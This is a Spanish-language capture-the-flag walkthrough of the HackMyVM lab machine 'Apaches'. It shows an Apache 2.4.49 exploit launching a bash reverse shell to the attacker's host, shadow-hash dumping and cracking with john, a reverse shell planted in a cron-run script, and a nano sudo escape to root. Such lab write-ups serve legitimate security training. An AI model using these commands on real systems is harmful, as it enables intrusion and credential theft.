HackMyVM - Apaches

logo

  • Path Traversal & Remote Code Execution
  • Brute Force Shadow Hashes
  • Cron Job Abuse
  • Leaked Credentials
  • Abusing Nano Binary

Escaneo de puertos

❯ nmap -p- -v -T5 -n 192.168.1.14

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 22,80 192.168.1.14

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 bc95836ec46238b5a9940c14a3bf5734 (RSA)
|   256 07fa461acaf3dc082f728ce2f22e32e5 (ECDSA)
|_  256 46ff72d567c51f87b1358429f3ade83a (ED25519)
80/tcp open  http    Apache httpd 2.4.49 ((Unix))
|_http-server-header: Apache/2.4.49 (Unix)
|_http-title: Apaches
| http-robots.txt: 1 disallowed entry 
|_/
| http-methods: 
|   Supported Methods: HEAD GET POST OPTIONS TRACE
|_  Potentially risky methods: TRACE
|_http-favicon: Unknown favicon MD5: EB49C4A639D3960EE7DDD07BC9F832B7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP-TCP 80

puerto 80

Archivo robots.txt

robots

Decodifico la cadena en base64.

echo "IOKAnFlvdSBrbm93IHlvdXIgcGF0aCwgY2hpbGQsIG5vdyBmb2xsb3cgaXQu4oCdCi0tIFBvY2Fob250YXMg" | base64 -d;echo
 “You know your path, child, now follow it.”
-- Pocahontas

Buscando información de Apache/2.4.49 he encontrado este exploit.

❯ bash poc.sh targets.txt /bin/sh "bash -c 'bash -i >& /dev/tcp/192.168.1.18/4444 0>&1'"

Ontengo la shell.

❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.14] 57190
bash: cannot set terminal process group (650): Inappropriate ioctl for device
bash: no job control in this shell
daemon@apaches:/usr/bin$

Usando metodología básica veo el archivo shadow tiene permisos de lectura.

daemon@apaches:/$ ls -la /etc/shadow
ls -la /etc/shadow
-rw-r--r-- 1 root shadow 1434 Oct 10  2022 /etc/shadow

Ahora en mi máquina creo dos archivos, uno con el nombre passwd y otro con el nombre shadow. En el archivo passwd copio el contenido del fichero passwd de la máquina víctima.

geronimo:x:1000:1000:geronimo:/home/geronimo:/bin/bash
squanto:x:1001:1001:,,,:/home/squanto:/bin/bash
sacagawea:x:1002:1002:,,,:/home/sacagawea:/bin/bash
pocahontas:x:1003:1003:,,,:/home/pocahontas:/bin/bash

En el archivo shadow copio el contenido del fichero shadow de la máquina víctima.

geronimo:$6$Ms03aNp5hRoOuZpM$CoHMkl9rgA0jZR2D9FfGJms9dR8OZw5j0gimH0V14DJ/F2Xp2.Mun4ESEdoNMoPC5ioRuOCXgakCB2snc6yiw0:19275:0:99999:7:::
squanto:$6$KzBC2ThBhmbVBy0J$eZSVdFLsAfd8IsbcAaBzHp8DzKXETPUH9FKsnlivIFSCvs0UBz1zsh9OfPmKcX5VaP7.Cy3r1r5msibslk0Sd.:19274:0:99999:7:::
sacagawea:$6$7jhI/21/BZR5KyY6$ry9zrhuggELLYnGkMtUi0UHBdDDaOiIgSB9y9od/73Qxk/nQOSzJNo3VKzZYS8pnluVYkXhVvghOzNCPBx79T1:19274:0:99999:7:::
pocahontas:$6$ecLWB6Q6bVJrGFu8$KgkvUSbQzXB6v3aJuE9NMwVvs2a53APkgzSxPq.DWfgIYKbzN0svWT4VDYm/l2ku7lMGJ8dxKi1fGphRx1tO8/:19274:0:99999:7:::

Con unshadow creo el hash.

❯ unshadow passwd shadow > hash_users

Realizo fuerza burta a los hashes encontrados y encuentro la contraseña del usuario squanto.

❯ john hash_users --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt
Using default input encoding: UTF-8
Loaded 4 password hashes with 4 different salts (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 6 for all loaded hashes
Cost 2 (algorithm specific iterations) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
i*******e        (squanto)

Me conecto como usuario squanto

❯ ssh squanto@192.168.1.14
                                                                                
                                                                                
                                                                                
                                                                  
                                                                        >>       >======>         >>           >=>    >=>    >=> >=======>   >=>>=>   
                                                                       >>=>      >=>    >=>      >>=>       >=>   >=> >=>    >=> >=>       >=>    >=> 
                                                                      >> >=>     >=>    >=>     >> >=>     >=>        >=>    >=> >=>        >=>       
                          ~                                          >=>  >=>    >======>      >=>  >=>    >=>        >=====>>=> >=====>      >=>     
                    7~   ~&.                                        >=====>>=>   >=>          >=====>>=>   >=>        >=>    >=> >=>             >=>  
                    G!J !75!   ~G     :                            >=>      >=>  >=>         >=>      >=>   >=>   >=> >=>    >=> >=>       >=>    >=> 
                   ?~:B!. 5Y^!~^B. :~J&                           >=>        >=> >=>        >=>        >=>    >===>   >=>    >=> >=======>   >=>>=>
                 .GG?~    B^...PB?!^ ?5 .                         
                7&G:  7. JB7?7^..   ^&P&Y .7#                     If at first you don't succeed. Try, try again! Sometimes the second time returns more!
              .GG.  ~J. ?@5:  :~.  Y@@@@??!?#                     
             :#~  ~Y~  JJ  :77: .J&@#57:  :&!.~Y  .:              
            :&. ^P7  ^J::!7^.:!YJ!:....  Y@@@@@&J5@!              
            @7 Y5  :GP77~::~!~...:^:..:J#&#GPJ!:.PG               
           P@~B# ^B@G~^^!!~^^^^:...^7J7.       ^BP^?:             
          ^@@@@@&@#~7G5J7~::.:^~?JJ7~::^^~~~?B@@@@@&              
          &J!7?P#@B@@@B!:!?77???7!~~!!?J5PPP5YJ??YPYJ~.           
         ?P       :?B@&#@#?7!^^~?55Y7^:..       .^?J5Y^           
         ?B^^^::..    ~G&@#YP#&@B!....::::^~75B&@@@@#G!           
         :&~J?P&@@G?7!^..BG!~7B@#5J7!!7?JPGBB#BB&&@@B^            
         !5 ##J?PY    :JP&    .@&G5JY5GG57^:...   .~YBJ           
        ~5  :P7!^ ..^   ~@P~~~BB7^:.  .:~5G! .:!5B&@G!!.          
       .P      ~PGB#5   P:5!B&7~:Y&#&B&&#GPY7!!?5B@@&G:           
       Y7   ^^ .5GGB!  5~!7:7!G:. 7B7?~^^?G#P!....:GP             
       .~^JJ^   .     .G #..J ##!  J#~..:.  .7P#?^:.              
          !Y:^. ?.    ~Y &  7 PJ!P7^@@&Y!^^.  .J&Y                
           P!         ~P @. : Y&  5GPJ#??~~?#G!!!7.               
           !?       ^?J&.#J   B##: .  B7:.   5^                   
            !!^.:!PP^  !G!&.  5^7?J   ?#:~~^.:B^                  
              .::..!?   .!JG. &^  BG~.:@       .                  
                    JG!!^..5YYG5^ &..~Y&                          
                   .G...^?~  .  JB!    .                          
                   .G!7!:                                   
                   
squanto@192.168.1.14's password: 
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-128-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue 01 Aug 2023 08:25:31 AM UTC

  System load:  0.02               Processes:               126
  Usage of /:   20.0% of 39.07GB   Users logged in:         0
  Memory usage: 15%                IPv4 address for enp0s3: 192.168.1.14
  Swap usage:   0%

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

143 updates can be installed immediately.
2 of these updates are security updates.
To see these additional updates run: apt list --upgradable

New release '22.04.2 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

squanto@apaches:~$ 

Después de realizar una búsqueda de archivos con permisos de escritura encuentro el archivo backup.sh.

squanto@apaches:~$ find / -writable 2>/dev/null | grep -v -i -E 'proc|sys|dev|run'

/home/sacagawea/Scripts/backup.sh

Enumerando tareas cron veo que el usuario sacagawea lanza backup.sh cada 5 segundos.

squanto@apaches:~$ cat /etc/*crontab

#* 5 * * * * su sacagawea -c "./home/sacagawea/Scripts/backup.sh"

Sabiendo esto y que tengo permisos de escritura añado el siguiente código al archivo backup.sh.

bash -c "bash -i >& /dev/tcp/192.168.1.18/1337 0>&1"

Ahora espero un poco y obtengo una shell como usuario sacagawea.

❯ nc -lvnp 1337
listening on [any] 1337 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.14] 59398
bash: cannot set terminal process group (42495): Inappropriate ioctl for device
bash: no job control in this shell
sacagawea@apaches:~$ id
id
uid=1002(sacagawea) gid=1002(sacagawea) groups=1002(sacagawea),1004(Lipan)

Navegando en el home de sacagawea encuentro el directorio admin.

admin

Dentro de admin el archivo 2-check.php encuentro unas credenciales.

checkphp

Me conecto como usuaria pocahontas.

sacagawea@apaches:~/Development/admin$ su pocahontas
Password: 
pocahontas@apaches:/home/sacagawea/Development/admin$ id
uid=1003(pocahontas) gid=1003(pocahontas) groups=1003(pocahontas)

Enumero permisos de sudo.

Matching Defaults entries for pocahontas on apaches:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pocahontas may run the following commands on apaches:
    (geronimo) /bin/nano

Con el siguiente recurso de gtfobins consigo una shell como usuario geronimo.

pocahontas@apaches:~$ sudo -u geronimo /bin/nano
ctrl+R ctrl+X
reset; bash 1>&0 2>&0
geronimo@apaches:/home/pocahontas$ id
uid=1000(geronimo) gid=1000(geronimo) groups=1000(geronimo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)

Enumero de nuevo permisos de sudo.

geronimo@apaches:~$ sudo -l
Matching Defaults entries for geronimo on apaches:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User geronimo may run the following commands on apaches:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: ALL

Obtengo el root de la siguiente forma.

geronimo@apaches:~$ sudo su
root@apaches:/home/geronimo# id
uid=0(root) gid=0(root) groups=0(root)

Y aquí termina la máquina Apaches.

Saludos!